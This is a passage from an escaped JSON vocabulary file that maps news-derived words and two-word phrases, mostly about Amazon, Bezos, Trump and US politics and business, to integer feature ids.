\"retail tricks\": 60733,\n  \"different message\": 60734,\n  \"media report\": 60735,\n  \"indian performing\": 60736,\n  \"bateman\": 60737,\n  \"president trumpdonald\": 60738,\n  \"sent 640\": 60739,\n  \"downward pressure\": 60740,\n  \"government solutions\": 60741,\n  \"flavors\": 60742,\n  \"posts general\": 60743,\n  \"powerful platform\": 60744,\n  \"algebra science\": 60745,\n  \"386\": 60746,\n  \"legal tax\": 60747,\n  \"help stem\": 60748,\n  \"moore\": 60749,\n  \"biggest reason\": 60750,\n  \"list prices\": 60751,\n  \"implies mario\": 60752,\n  \"antiregulatory\": 60753,\n  \"unparalleled access\": 60754,\n  \"giant early\": 60755,\n  \"president grew\": 60756,\n  \"check ins\": 60757,\n  \"stoke generational\": 60758,\n  \"reuters china\": 60759,\n  \"chicago sun\": 60760,\n  \"refuted horror\": 60761,\n  \"printed accessories\": 60762,\n  \"2017 msnbc\": 60763,\n  \"giulianis\": 60764,\n  \"social platform\": 60765,\n  \"loss pinterest\": 60766,\n  \"share repurchases\": 60767,\n  \"mccaskill fights\": 60768,\n  \"palette cleanse\": 60769,\n  \"greener\": 60770,\n  \"peace\": 60771,\n  \"dangerous levels\": 60772,\n  \"larger game\": 60773,\n  \"amerijet based\": 60774,\n  \"q2 gdp\": 60775,\n  \"girl indiana\": 60776,\n  \"forums looking\": 60777,\n  \"carroll associate\": 60778,\n  \"newsfeed\": 60779,\n  \"markit survey\": 60780,\n  \"shayne\": 60781,\n  \"recently began\": 60782,\n  \"agreement clone\": 60783,\n  \"prophet muhammad\": 60784,\n  \"tweet writing\": 60785,\n  \"rank low\": 60786,\n  \"ownership increase\": 60787,\n  \"governments run\": 60788,\n  \"storm brought\": 60789,\n  \"parties right\": 60790,\n  \"trademark protection\": 60791,\n  \"chief ben\": 60792,\n  \"ingles\": 60793,\n  \"grovel\": 60794,\n  \"authorities sending\": 60795,\n  \"team investigating\": 60796,\n  \"users questions\": 60797,\n  \"scripts recently\": 60798,\n  \"reported quarterly\": 60799,\n  \"administration including\": 60800,\n  \"regulate flavors\": 60801,\n  \"hiring reuters\": 60802,\n  \"irritation manifests\": 60803,\n  \"camilla duchess\": 60804,\n  \"treasurer\": 60805,\n  \"martin forecast\": 60806,\n  \"submit letter\": 60807,\n  \"roomba\": 60808,\n  \"uni\": 60809,\n  \"photos david\": 60810,\n  \"aoc celebrated\": 60811,\n  \"participants prepared\": 60812,\n  \"jedi echoes\": 60813,\n  \"tires wine\": 60814,\n  \"lampert sears\": 60815,\n  \"entire blog\": 60816,\n  \"disease energy\": 60817,\n  \"doral miami\": 60818,\n  \"packages cases\": 60819,\n  \"weaver monroeville\": 60820,\n  \"benefits promises\": 60821,\n  \"reality think\": 60822,\n  \"point crosstalk\": 60823,\n  \"tm presidency\": 60824,\n  \"package distribution\": 60825,\n  \"era tradition\": 60826,\n  \"boeing ex\": 60827,\n  \"owners reunited\": 60828,\n  \"attorneys knowing\": 60829,\n  \"hbk sorce\": 60830,\n  \"transforms pollution\": 60831,\n  \"profits hit\": 60832,\n  \"blessington\": 60833,\n  \"college leadership\": 60834,\n  \"urgently need\": 60835,\n  \"build big\": 60836,\n  \"infant\": 60837,\n  \"evangelical privilege\": 60838,\n  \"crew brian\": 60839,\n  \"year planning\": 60840,\n  \"send letter\": 60841,\n  \"release massive\": 60842,\n  \"new probe\": 60843,\n  \"causal\": 60844,\n  \"pressing inequality\": 60845,\n  \"jost weekend\": 60846,\n  \"general assignment\": 60847,\n  \"endecia brand\": 60848,\n  \"spreading white\": 60849,\n  \"happen wouldn\": 60850,\n  \"consider acquiring\": 60851,\n  \"diginomica premier\": 60852,\n  \"weak demand\": 60853,\n  \"1987 trump\": 60854,\n  \"fact finder\": 60855,\n  \"cultural nuances\": 60856,\n  \"area politician\": 60857,\n  \"40m shares\": 60858,\n  \"introducing tons\": 60859,\n  \"classmates\": 60860,\n  \"carolinas\": 60861,\n  \"opinion titled\": 60862,\n  \"ina fassbender\": 60863,\n  \"including adidas\": 60864,\n  \"really fighting\": 60865,\n  \"mark warner\": 60866,\n  \"boss leading\": 60867,\n  \"geopolitical\": 60868,\n  \"philips pull\": 60869,\n  \"expend unlimited\": 60870,\n  \"rescheduled\": 60871,\n  \"312 222\": 60872,\n  \"story giving\": 60873,\n  \"crony work\": 60874,\n  \"scott starting\": 60875,\n  \"court causes\": 60876,\n  \"battery\": 60877,\n  \"escalators\": 60878,\n  \"family regulation\": 60879,\n  \"truly introduced\": 60880,\n  \"deepest national\": 60881,\n  \"seaport district\": 60882,\n  \"trump kim\": 60883,\n  \"amy walter\": 60884,\n  \"staples companies\": 60885,\n  \"2007\": 60886,\n  \"country congress\": 60887,\n  \"literary version\": 60888,\n  \"reston jeff\": 60889,\n  \"big sellers\": 60890,\n  \"share spiraling\": 60891,\n  \"gas prices\": 60892,\n  \"expert leading\": 60893,\n  \"iowa backed\": 60894,\n  \"inquires\": 60895,\n  \"network designs\": 60896,\n  \"cio represented\": 60897,\n  \"yorker published\": 60898,\n  \"stock cramer\": 60899,\n  \"hunt donald\": 60900,\n  \"artist network\": 60901,\n  \"forum america\": 60902,\n  \"really appreciate\": 60903,\n  \"court victory\": 60904,\n  \"giant contract\": 60905,\n  \"cnn dismissing\": 60906,\n  \"douglas domenech\": 60907,\n  \"pheffer\": 60908,\n  \"affiliate\": 60909,\n  \"editorial independence\": 60910,\n  \"pristine paradise\": 60911,\n  \"post 2016\": 60912,\n  \"181007060449\": 60913,\n  \"usps continues\": 60914,\n  \"retailers uses\": 60915,\n  \"musk credits\": 60916,\n  \"posting net\": 60917,\n  \"news 1986019\": 60918,\n  \"apparel kitchenware\": 60919,\n  \"business toy\": 60920,\n  \"publish explicit\": 60921,\n  \"sent 130\": 60922,\n  \"cooper firing\": 60923,\n  \"abrams ronna\": 60924,\n  \"curb amazon\": 60925,\n  \"bent amazon\": 60926,\n  \"theater\": 60927,\n  \"later makan\": 60928,\n  \"winfrey\": 60929,\n  \"investjust\": 60930,\n  \"barker hanger\": 60931,\n  \"live spoof\": 60932,\n  \"factory photo\": 60933,\n  \"expand benefits\": 60934,\n  \"slog\": 60935,\n  \"charge trump\": 60936,\n  \"zone opportunity\": 60937,\n  \"missing wisconsin\": 60938,\n  \"satya\": 60939,\n  \"locked room\": 60940,\n  \"layered hooded\": 60941,\n  \"opioid abuse\": 60942,\n  \"service early\": 60943,\n  \"cloud protest\": 60944,\n  \"week turkey\": 60945,\n  \"alike\": 60946,\n  \"sent note\": 60947,\n  \"occupying\": 60948,\n  \"unch legg\": 60949,\n  \"explosive claims\": 60950,\n  \"later possibly\": 60951,\n  \"caused partial\": 60952,\n  \"luigi\": 60953,\n  \"house committee\": 60954,\n  \"putting pressure\": 60955,\n  \"insider olsavsky\": 60956,\n  \"creamer\": 60957,\n  \"years greenfield\": 60958,\n  \"tightening\": 60959,\n  \"general rod\": 60960,\n  \"recommending slew\": 60961,\n  \"dark skin\": 60962,\n  \"brown whor\": 60963,\n  \"ndibyj1b1f weirdralph\": 60964,\n  \"warm believable\": 60965,\n  \"good start\": 60966,\n  \"trump alexandria\": 60967,\n  \"customer cancellation\": 60968,\n  \"cap carell\": 60969,\n  \"nostalgia listening\": 60970,\n  \"undefined jquery\": 60971,\n  \"send representatives\": 60972,\n  \"studs\": 60973,\n  \"cabaret law\": 60974,\n  \"sms\": 60975,\n  \"politics technology\": 60976,\n  \"director brian\": 60977,\n  \"stakes 257\": 60978,\n  \"infrastructure set\": 60979,\n  \"1992 steve\": 60980,\n  \"resume talks\": 60981,\n  \"fissure soaring\": 60982,\n  \"roy impressive\": 60983,\n  \"carpenters pac\": 60984,\n  \"book travel\": 60985,\n  \"incident toby\": 60986,\n  \"commission led\": 60987,\n  \"discriminating\": 60988,\n  \"stations travel\": 60989,\n  \"irs today\": 60990,\n  \"twitter told\": 60991,\n  \"jon_allsop\": 60992,\n  \"billion waswell\": 60993,\n  \"greater washington\": 60994,\n  \"slowdown ceo\": 60995,\n  \"georgia resident\": 60996,\n  \"feet prime\": 60997,\n  \"trump gear\": 60998,\n  \"travellers fleeing\": 60999,\n  \"hazardous\": 61000,\n  \"carell skilled\": 61001,\n  \"previous version\": 61002,\n  \"reasonably\": 61003,\n  \"huge jump\": 61004,\n  \"conglomerate discount\": 61005,\n  \"cities hoping\": 61006,\n  \"members contributed\": 61007,\n  \"final fall\": 61008,\n  \"delivery bookstores\": 61009,\n  \"waving\": 61010,\n  \"rescued raccoon\": 61011,\n  \"voters pichai\": 61012,\n  \"ellis\": 61013,\n  \"amazon exploded\": 61014,\n  \"easing federal\": 61015,\n  \"includinghis\": 61016,\n  \"missed detections\": 61017,\n  \"inc_deck\": 61018,\n  \"business communities\": 61019,\n  \"7ga1gpzvfu cristian\": 61020,\n  \"tech heavyweights\": 61021,\n  \"help begin\": 61022,\n  \"mst landless\": 61023,\n  \"diabolical\": 61024,\n  \"055 amazon\": 61025,\n  \"emergency president\": 61026,\n  \"service priebus\": 61027,\n  \"hbo sports\": 61028,\n  \"bar association\": 61029,\n  \"recession sentiment\": 61030,\n  \"contentious debate\": 61031,\n  \"1trn amazon\": 61032,\n  \"washington win\": 61033,\n  \"various asks\": 61034,\n  \"trump 2017\": 61035,\n  \"film follows\": 61036,\n  \"founder resigns\": 61037,\n  \"goldstein alexisgoldstein\": 61038,\n  \"words echoed\": 61039,\n  \"avoided responding\": 61040,\n  \"specifically constructed\": 61041,\n  \"josie lawrence\": 61042,\n  \"barreling\": 61043,\n  \"area booze\": 61044,\n  \"creating complicated\": 61045,\n  \"traffic acquisition\": 61046,\n  \"members rally\": 61047,\n  \"articles peter\": 61048,\n  \"doyle pa\": 61049,\n  \"california medical\": 61050,\n  \"subway access\": 61051,\n  \"christmas special\": 61052,\n  \"revealing incident\": 61053,\n  \"coats according\": 61054,\n  \"pakistan southern\": 61055,\n  \"employee offices\": 61056,\n  \"giants exxon\": 61057,\n  \"importing\": 61058,\n  \"previously attacked\": 61059,\n  \"cape expects\": 61060,\n  \"soccer worldcup\": 61061,\n  \"tension ramping\": 61062,\n  \"axios cnet\": 61063,\n  \"things russia\": 61064,\n  \"scribner imprint\": 61065,\n  \"justice investigated\": 61066,\n  \"did respond\": 61067,\n  \"week people\": 61068,\n  \"singer\": 61069,\n  \"polyphonic gothic\": 61070,\n  \"trump violates\": 61071,\n  \"361\": 61072,\n  \"completely fine\": 61073,\n  \"lady sold\": 61074,\n  \"titled response\": 61075,\n  \"jeffrey\": 61076,\n  \"probe attorney\": 61077,\n  \"gradual rate\": 61078,\n  \"space using\": 61079,\n  \"contractor data\": 61080,\n  \"commercialized\": 61081,\n  \"different perspective\": 61082,\n  \"florida joint\": 61083,\n  \"strife 1965\": 61084,\n  \"zuckerberg played\": 61085,\n  \"melinda\": 61086,\n  \"apple insistence\": 61087,\n  \"disproportionately mismatched\": 61088,\n  \"var videoid\": 61089,\n  \"report backs\": 61090,\n  \"court demanding\": 61091,\n  \"political bias\": 61092,\n  \"store market\": 61093,\n  \"assets investment\": 61094,\n  \"office\": 61095,\n  \"open democracy\": 61096,\n  \"till amazon\": 61097,\n  \"manager finding\": 61098,\n  \"campaign trump\": 61099,\n  \"spending deal\": 61100,\n  \"corporate office\": 61101,\n  \"confidentiality saying\": 61102,\n  \"think effectively\": 61103,\n  \"good haircut\": 61104,\n  \"guerrilla\": 61105,\n  \"confidential agreement\": 61106,\n  \"delivery runs\": 61107,\n  \"namibia nambia\": 61108,\n  \"thing jeff\": 61109,\n  \"fair trade\": 61110,\n  \"simotas\": 61111,\n  \"digital writer\": 61112,\n  \"year named\": 61113,\n  \"aneurisms\": 61114,\n  \"appropriate regulatory\": 61115,\n  \"knocks nasdaq\": 61116,\n  \"resource companies\": 61117,\n  \"epa finalizes\": 61118,\n  \"gymnast\": 61119,\n  \"called black\": 61120,\n  \"popular products\": 61121,\n  \"dan know\": 61122,\n  \"charges cbs\": 61123,\n  \"really don\": 61124,\n  \"worth 166\": 61125,\n  \"2019 technology\": 61126,\n  \"brazilian soybeans\": 61127,\n  \"amounts\": 61128,\n  \"introduced plans\": 61129,\n  \"412 billion\": 61130,\n  \"amie\": 61131,\n  \"progressive\": 61132,\n  \"paying jobs\": 61133,\n  \"big bump\": 61134,\n  \"sinister beneath\": 61135,\n  \"store sensitive\": 61136,\n  \"council geekwire\": 61137,\n  \"sprawling logistics\": 61138,\n  \"years interestingly\": 61139,\n  \"bolsonaro speaks\": 61140,\n  \"class consumers\": 61141,\n  \"cap lead\": 61142,\n  \"fake disgusting\": 61143,\n  \"government retaliating\": 61144,\n  \"donny deutsch\": 61145,\n  \"business improvement\": 61146,\n  \"lease trucks\": 61147,\n  \"41m\": 61148,\n  \"gizmodo report\": 61149,\n  \"app amazon\": 61150,\n  \"experiences\": 61151,\n  \"adviser pointed\": 61152,\n  \"david larcker\": 61153,\n  \"lee calif\": 61154,\n  \"grant clemency\": 61155,\n  \"atif good\": 61156,\n  \"politically read\": 61157,\n  \"varvel\": 61158,\n  \"center think\": 61159,\n  \"outlets\": 61160,\n  \"apparently claims\": 61161,\n  \"note guwahati\": 61162,\n  \"apocalypses\": 61163,\n  \"fashion beauty\": 61164,\n  \"ng news\": 61165,\n  \"year operation\": 61166,\n  \"north carolina\": 61167,\n  \"rare archival\": 61168,\n  \"house deliberations\": 61169,\n  \"company warehouse\": 61170,\n  \"good president\": 61171,\n  \"homebuyers\": 61172,\n  \"acquisition verdict\": 61173,\n  \"traction robocall\": 61174,\n  \"biggest deck\": 61175,\n  \"partners afghanistan\": 61176,\n  \"managing investigations\": 61177,\n  \"arizona pedestrian\": 61178,\n  \"kos return\": 61179,\n  \"slideshow readmorearticles\": 61180,\n  \"circulate\": 61181,\n  \"trump presidency\": 61182,\n  \"1230x1672\": 61183,\n  \"donald pleasence\": 61184,\n  \"jobs wage\": 61185,\n  \"holds 400\": 61186,\n  \"slams incessently\": 61187,\n  \"stop sending\": 61188,\n  \"kimmelman\": 61189,\n  \"ryan plot\": 61190,\n  \"parcels especially\": 61191,\n  \"motivated jeff\": 61192,\n  \"acting ag\": 61193,\n  \"bid process\": 61194,\n  \"study forbes\": 61195,\n  \"tilted economic\": 61196,\n  \"card delinquency\": 61197,\n  \"challenges faced\": 61198,\n  \"alleged inappropriate\": 61199,\n  \"manufacturers complaining\": 61200,\n  \"biografia jeff\": 61201,\n  \"travellers\": 61202,\n  \"bloomberg billionaires\": 61203,\n  \"workers living\": 61204,\n  \"summarized\": 61205,\n  \"hot food\": 61206,\n  \"company possibly\": 61207,\n  \"border airs\": 61208,\n  \"alphabet dropped\": 61209,\n  \"sustainable agriculture\": 61210,\n  \"new lease\": 61211,\n  \"slammed amazon\": 61212,\n  \"ensuring workers\": 61213,\n  \"sector enjoyed\": 61214,\n  \"videotape josh\": 61215,\n  \"glenn close\": 61216,\n  \"commerce volume\": 61217,\n  \"mullaney says\": 61218,\n  \"buffett admits\": 61219,\n  \"factors including\": 61220,\n  \"currency\": 61221,\n  \"photo view\": 61222,\n  \"baseball hat\": 61223,\n  \"expectations activities\": 61224,\n  \"president giving\": 61225,\n  \"carefully worded\": 61226,\n  \"extorted\": 61227,\n  \"correctly transfer\": 61228,\n  \"trump alluded\": 61229,\n  \"calculation bezos\": 61230,\n  \"funky\": 61231,\n  \"chopping board\": 61232,\n  \"customers achieve\": 61233,\n  \"widely admired\": 61234,\n  \"adolescent\": 61235,\n  \"email lawyer\": 61236,\n  \"death trump\": 61237,\n  \"cuz\": 61238,\n  \"ago uber\": 61239,\n  \"walmart shares\": 61240,\n  \"community secure\": 61241,\n  \"border wsj\": 61242,\n  \"233bn\": 61243,\n  \"amid criticism\": 61244,\n  \"correct information\": 61245,\n  \"today upgrades\": 61246,\n  \"team learns\": 61247,\n  \"cnnvideomanager\": 61248,\n  \"rupi\": 61249,\n  \"apple pie\": 61250,\n  \"actually drop\": 61251,\n  \"forum dedicated\": 61252,\n  \"chevrolet cruze\": 61253,\n  \"slaughterhouse murder\": 61254,\n  \"general brennan\": 61255,\n  \"delivery portion\": 61256,\n  \"inventories rising\": 61257,\n  \"iphone apps\": 61258,\n  \"bezos today\": 61259,\n  \"apologizing\": 61260,\n  \"debate raises\": 61261,\n  \"oddly elegant\": 61262,\n  \"getvideodata function\": 61263,\n  \"creating cyberx\": 61264,\n  \"hog\": 61265,\n  \"joke unless\": 61266,\n  \"word counterfeit\": 61267,\n  \"protestors unfurl\": 61268,\n  \"devitt\": 61269,\n  \"craggy charm\": 61270,\n  \"keeping\": 61271,\n  \"channel\": 61272,\n  \"questions outside\": 61273,\n  \"sent nude\": 61274,\n  \"blue print\": 61275,\n  \"saved american\": 61276,\n  \"philanthropic profile\": 61277,\n  \"consequence\": 61278,\n  \"dsa\": 61279,\n  \"kevin stein\": 61280,\n  \"2018 remake\": 61281,\n  \"definitely rank\": 61282,\n  \"future efforts\": 61283,\n  \"fed officials\": 61284,\n  \"nexstar\": 61285,\n  \"255 368\": 61286,\n  \"relevant answers\": 61287,\n  \"known joined\": 61288,\n  \"story playing\": 61289,\n  \"missed revenue\": 61290,\n  \"girls brings\": 61291,\n  \"utf8 node\": 61292,\n  \"grievances\": 61293,\n  \"data videoid\": 61294,\n  \"total sales\": 61295,\n  \"store lab\": 61296,\n  \"media globally\": 61297,\n  \"nyc tax\": 61298,\n  \"usps turning\": 61299,\n  \"richard kemp\": 61300,\n  \"rev billy\": 61301,\n  \"state payroll\": 61302,\n  \"large position\": 61303,\n  \"100th\": 61304,\n  \"looks bright\": 61305,\n  \"railroad barons\": 61306,\n  \"michael 2c\": 61307,\n  \"press revealing\": 61308,\n  \"platforms according\": 61309,\n  \"inc_column_name_override\": 61310,\n  \"img_bucketref\": 61311,\n  \"kids noah\": 61312,\n  \"mb ub\": 61313,\n  \"snoddy\": 61314,\n  \"say sole\": 61315,\n  \"portray\": 61316,\n  \"includes billion\": 61317,\n  \"robber barons\": 61318,\n  \"hannity president\": 61319,\n  \"liabilities including\": 61320,\n  \"2012 presidential\": 61321,\n  \"suspect vehicle\": 61322,\n  \"remain thedcnf\": 61323,\n  \"ago reuters\": 61324,\n  \"580 000\": 61325,\n  \"china problem\": 61326,\n  \"asia largest\": 61327,\n  \"access treatment\": 61328,\n  \"tough competition\": 61329,\n  \"example texas\": 61330,\n  \"greatest desperation\": 61331,\n  \"aid survivors\": 61332,\n  \"previous international\": 61333,\n  \"reviling bezos\": 61334,\n  \"time faculty\": 61335,\n  \"rainey holds\": 61336,\n  \"metro airport\": 61337,\n  \"charlottesville scientists\": 61338,\n  \"thrilling story\": 61339,\n  \"peter dinklage\": 61340,\n  \"sparked activist\": 61341,\n  \"retailers class\": 61342,\n  \"online shopper\": 61343,\n  \"realclear\": 61344,\n  \"rsa fraud\": 61345,\n  \"kitchen america\": 61346,\n  \"watt motor\": 61347,\n  \"pisgah church\": 61348,\n  \"timesdispatch\": 61349,\n  \"workers suddenly\": 61350,\n  \"headlineplaintext spacex\": 61351,\n  \"portfolio st\": 61352,\n  \"video deal\": 61353,\n  \"key ice\": 61354,\n  \"state new\": 61355,\n  \"rights concerns\": 61356,\n  \"income away\": 61357,\n  \"smear\": 61358,\n  \"wasn letting\": 61359,\n  \"yesterday revealed\": 61360,\n  \"story authorities\": 61361,\n  \"conway says\": 61362,\n  \"primary hub\": 61363,\n  \"miller timodc\": 61364,\n  \"cash notes\": 61365,\n  \"quadrennial\": 61366,\n  \"sufficiently passed\": 61367,\n  \"billthat gives\": 61368,\n  \"york symphony\": 61369,\n  \"receives percentage\": 61370,\n  \"conference details\": 61371,\n  \"populist politics\": 61372,\n  \"gates just\": 61373,\n  \"leonard downie\": 61374,\n  \"pg repeatedly\": 61375,\n  \"type urge\": 61376,\n  \"donatella\": 61377,\n  \"network foto\": 61378,\n  \"trump accessions\": 61379,\n  \"simply dislikes\": 61380,\n  \"dot 2nd\": 61381,\n  \"today obama\": 61382,\n  \"gafa\": 61383,\n  \"musk life\": 61384,\n  \"v8 sandbox\": 61385,\n  \"country data\": 61386,\n  \"bad job\": 61387,\n  \"retroactive\": 61388,\n  \"giants getty\": 61389,\n  \"194 bought\": 61390,\n  \"google tax\": 61391,\n  \"922\": 61392,\n  \"logistical heavy\": 61393,\n  \"hypotheek met\": 61394,\n  \"rub trump\": 61395,\n  \"york wall\": 61396,\n  \"millions left\": 61397,\n  \"money howell\": 61398,\n  \"ebay overseeing\": 61399,\n  \"playbook illinois\": 61400,\n  \"stop sen\": 61401,\n  \"purview\": 61402,\n  \"dies gay\": 61403,\n  \"million votes\": 61404,\n  \"new transport\": 61405,\n  \"journalist based\": 61406,\n  \"face searches\": 61407,\n  \"gazett\": 61408,\n  \"migrants cross\": 61409,\n  \"target identification\": 61410,\n  \"fortune wrote\": 61411,\n  \"new battle\": 61412,\n  \"denomination\": 61413,\n  \"albawaba german\": 61414,\n  \"conneaut amazon\": 61415,\n  \"withamazon\": 61416,\n  \"skinflint\": 61417,\n  \"shopping patterns\": 61418,\n  \"thing probably\": 61419,\n  \"run healthcare\": 61420,\n  \"administration plagued\": 61421,\n  \"indoor rainforest\": 61422,\n  \"formula used\": 61423,\n  \"black americans\": 61424,\n  \"pleasant 2017\": 61425,\n  \"huge demands\": 61426,\n  \"hygiene\": 61427,\n  \"limited ways\": 61428,\n  \"god\": 61429,\n  \"trump conspired\": 61430,\n  \"free robert\": 61431,\n  \"eligible activities\": 61432,\n  \"34th street\": 61433,\n  \"produce stronger\": 61434,\n  \"remove problem\": 61435,\n  \"actuality\": 61436,\n  \"security expert\": 61437,\n  \"trouble michele\": 61438,\n  \"shutdown votes\": 61439,\n  \"finally showing\": 61440,\n  \"presidency critics\": 61441,\n  \"prepayments saying\": 61442,\n  \"amazon kept\": 61443,\n  \"counsel\": 61444,\n  \"rates significantly\": 61445,\n  \"getting worse\": 61446,\n  \"worth 140\": 61447,\n  \"response rates\": 61448,\n  \"fortnite explainer\": 61449,\n  \"forecast empire\": 61450,\n  \"pasted\": 61451,\n  \"writes brian\": 61452,\n  \"amazon contrasts\": 61453,\n  \"plan amazon\": 61454,\n  \"granting amazon\": 61455,\n  \"better jobs\": 61456,\n  \"capitalize\": 61457,\n  \"support apple\": 61458,\n  \"government oversight\": 61459,\n  \"review usps\": 61460,\n  \"turn maduro\": 61461,\n  \"contract combination\": 61462,\n  \"later restored\": 61463,\n  \"nvidia forecasts\": 61464,\n  \"maple\": 61465,\n  \"mailing community\": 61466,\n  \"group wrote\": 61467,\n  \"goldstein chicago\": 61468,\n  \"radio commentator\": 61469,\n  \"financial terms\": 61470,\n  \"investments read\": 61471,\n  \"2016 republican\": 61472,\n  \"taxable net\": 61473,\n  \"abc kavanaugh\": 61474,\n  \"intelligence chiefs\": 61475,\n  \"buffalo electifying\": 61476,\n  \"consultancy\": 61477,\n  \"immediately release\": 61478,\n  \"headed tech\": 61479,\n  \"negotiating tactics\": 61480,\n  \"allsquare\": 61481,\n  \"california missing\": 61482,\n  \"artifacts\": 61483,\n  \"exhibited monumental\": 61484,\n  \"offset declines\": 61485,\n  \"zee mario\": 61486,\n  \"2n78tpk\": 61487,\n  \"ception\": 61488,\n  \"ironic statement\": 61489,\n  \"pasturelands\": 61490,\n  \"ballot scanners\": 61491,\n  \"writer chin\": 61492,\n  \"tallahassee shopping\": 61493,\n  \"independent seller\": 61494,\n  \"eligible brands\": 61495,\n  \"2013 according\": 61496,\n  \"congressional support\": 61497,\n  \"quiz places\": 61498,\n  \"smoking cigar\": 61499,\n  \"thoughts hardly\": 61500,\n  \"average day\": 61501,\n  \"tremendous energy\": 61502,\n  \"produce immersive\": 61503,\n  \"called modern\": 61504,\n  \"players\": 61505,\n  \"common costs\": 61506,\n  \"dictatorial powers\": 61507,\n  \"qanon\": 61508,\n  \"sector importantly\": 61509,\n  \"targets undergoing\": 61510,\n  \"multilateral trade\": 61511,\n  \"leader reaffirmed\": 61512,\n  \"just bookseller\": 61513,\n  \"increasingly involved\": 61514,\n  \"tell page\": 61515,\n  \"news retail\": 61516,\n  \"certificate program\": 61517,\n  \"noticeable\": 61518,\n  \"continues bezos\": 61519,\n  \"unionized behemoth\": 61520,\n  \"union voters\": 61521,\n  \"different dinosaurs\": 61522,\n  \"prepare meals\": 61523,\n  \"pages\": 61524,\n  \"favourite streaming\": 61525,\n  \"prolonging\": 61526,\n  \"trend feld\": 61527,\n  \"issues collided\": 61528,\n  \"mass collecting\": 61529,\n  \"revenue product\": 61530,\n  \"election challenge\": 61531,\n  \"babies\": 61532,\n  \"growing volume\": 61533,\n  \"florists\": 61534,\n  \"provoke constitutional\": 61535,\n  \"consultant salaries\": 61536,\n  \"area post\": 61537,\n  \"data regarding\": 61538,\n  \"traveling public\": 61539,\n  \"_nkw impeach\": 61540,\n  \"swiss hospital\": 61541,\n  \"unconventional mortgages\": 61542,\n  \"shares predicting\": 61543,\n  \"post political\": 61544,\n  \"buy fox\": 61545,\n  \"session ticker\": 61546,\n  \"turkey trade\": 61547,\n  \"decry monopolistic\": 61548,\n  \"sauvignon\": 61549,\n  \"favorite punching\": 61550,\n  \"cohen ex\": 61551,\n  \"fear violence\": 61552,\n  \"relevant information\": 61553,\n  \"just eroding\": 61554,\n  \"competitive low\": 61555,\n  \"velvet\": 61556,\n  \"forward mkm\": 61557,\n  \"brokerage services\": 61558,\n  \"reportedly recorded\": 61559,\n  \"century american\": 61560,\n  \"repeated accusations\": 61561,\n  \"evolved sense\": 61562,\n  \"rising renault\": 61563,\n  \"conger\": 61564,\n  \"mixed finish\": 61565,\n  \"shrinking mail\": 61566,\n  \"micah melton\": 61567,\n  \"provided analysts\": 61568,\n  \"forward woefully\": 61569,\n  \"keeps mentioning\": 61570,\n  \"play store\": 61571,\n  \"lifestyle app\": 61572,\n  \"john dingell\": 61573,\n  \"peek great\": 61574,\n  \"hagedorn\": 61575,\n  \"chief rahul\": 61576,\n  \"braunstein push\": 61577,\n  \"wired explained\": 61578,\n  \"project asked\": 61579,\n  \"newser\": 61580,\n  \"offer space\": 61581,\n  \"reporters ominously\": 61582,\n  \"influencing\": 61583,\n  \"received purloined\": 61584,\n  \"opera digest\": 61585,\n  \"relate\": 61586,\n  \"frederick douglass\": 61587,\n  \"consider examining\": 61588,\n  \"community empowerment\": 61589,\n  \"metrics fell\": 61590,\n  \"booming success\": 61591,\n  \"utility companies\": 61592,\n  \"magas simply\": 61593,\n  \"leslie adler\": 61594,\n  \"multilateral agreement\": 61595,\n  \"american job\": 61596,\n  \"image 300x200\": 61597,\n  \"ride oct\": 61598,\n  \"richest\": 61599,\n  \"delong read\": 61600,\n  \"mussels\": 61601,\n  \"listings don\": 61602,\n  \"u003c\": 61603,\n  \"country needs\": 61604,\n  \"argue amazon\": 61605,\n  \"listening\": 61606,\n  \"leaning organizations\": 61607,\n  \"founder shane\": 61608,\n  \"reuniting\": 61609,\n  \"headquarters search\": 61610,\n  \"private company\": 61611,\n  \"2013 amazon\": 61612,\n  \"mair obsession\": 61613,\n  \"simply fail\": 61614,\n  \"question shared\": 61615,\n  \"counterfeit problem\": 61616,\n  \"tao xin\": 61617,\n  \"large chunk\": 61618,\n  \"sure anti\": 61619,\n  \"technology recently\": 61620,\n  \"included photos\": 61621,\n  \"322\": 61622,\n  \"arista\": 61623,\n  \"headquarters project\": 61624,\n  \"american shoppers\": 61625,\n  \"rises\": 61626,\n  \"jones victory\": 61627,\n  \"book writer\": 61628,\n  \"kittycat\": 61629,\n  \"good samaritans\": 61630,\n  \"mom heads\": 61631,\n  \"nyt congress\": 61632,\n  \"rescued san\": 61633,\n  \"feds\": 61634,\n  \"jr blaze\": 61635,\n  \"glorious victories\": 61636,\n  \"intentionally scheduled\": 61637,\n  \"gooey collectable\": 61638,\n  \"cartels traffickers\": 61639,\n  \"headquarters showed\": 61640,\n  \"schofield\": 61641,\n  \"contrast robert\": 61642,\n  \"researcher sam\": 61643,\n  \"deal better\": 61644,\n  \"ratcheted\": 61645,\n  \"2020 presidential\": 61646,\n  \"venture size\": 61647,\n  \"ronan\": 61648,\n  \"stories feature\": 61649,\n  \"amazon services\": 61650,\n  \"41cgljgol2l\": 61651,\n  \"letter amazon\": 61652,\n  \"major credit\": 61653,\n  \"arnault earned\": 61654,\n  \"us16\": 61655,\n  \"political broadsides\": 61656,\n  \"groves\": 61657,\n  \"nicotine\": 61658,\n  \"news covering\": 61659,\n  \"block atif\": 61660,\n  \"olson share\": 61661,\n  \"coffee sponsorships\": 61662,\n  \"nacs\": 61663,\n  \"devin nunes\": 61664,\n  \"little irritated\": 61665,\n  \"kindle users\": 61666,\n  \"manufacturing llc\": 61667,\n  \"restore checks\": 61668,\n  \"bring heavy\": 61669,\n  \"moose\": 61670,\n  \"prices medium\": 61671,\n  \"american multi\": 61672,\n  \"won regional\": 61673,\n  \"tariffs sharply\": 61674,\n  \"president continued\": 61675,\n  \"focusing\": 61676,\n  \"rips macron\": 61677,\n  \"silencing conservative\": 61678,\n  \"account online\": 61679,\n  \"economics 101\": 61680,\n  \"manager bochy\": 61681,\n  \"dangerous disregard\": 61682,\n  \"permanently compromised\": 61683,\n  \"partly stems\": 61684,\n  \"original series\": 61685,\n  \"fishburne balancing\": 61686,\n  \"autonomous chinese\": 61687,\n  \"amazon plows\": 61688,\n  \"consumer protection\": 61689,\n  \"93million\": 61690,\n  \"return prosecutors\": 61691,\n  \"recognition historically\": 61692,\n  \"single headquarters\": 61693,\n  \"join prime\": 61694,\n  \"raw story\": 61695,\n  \"stage wapo\": 61696,\n  \"revenue base\": 61697,\n  \"citing half\": 61698,\n  \"articlebundleid\": 61699,\n  \"launch party\": 61700,\n  \"hike prices\": 61701,\n  \"idsukavotu\": 61702,\n  \"makes sense\": 61703,\n  \"commission donors\": 61704,\n  \"shoulder strap\": 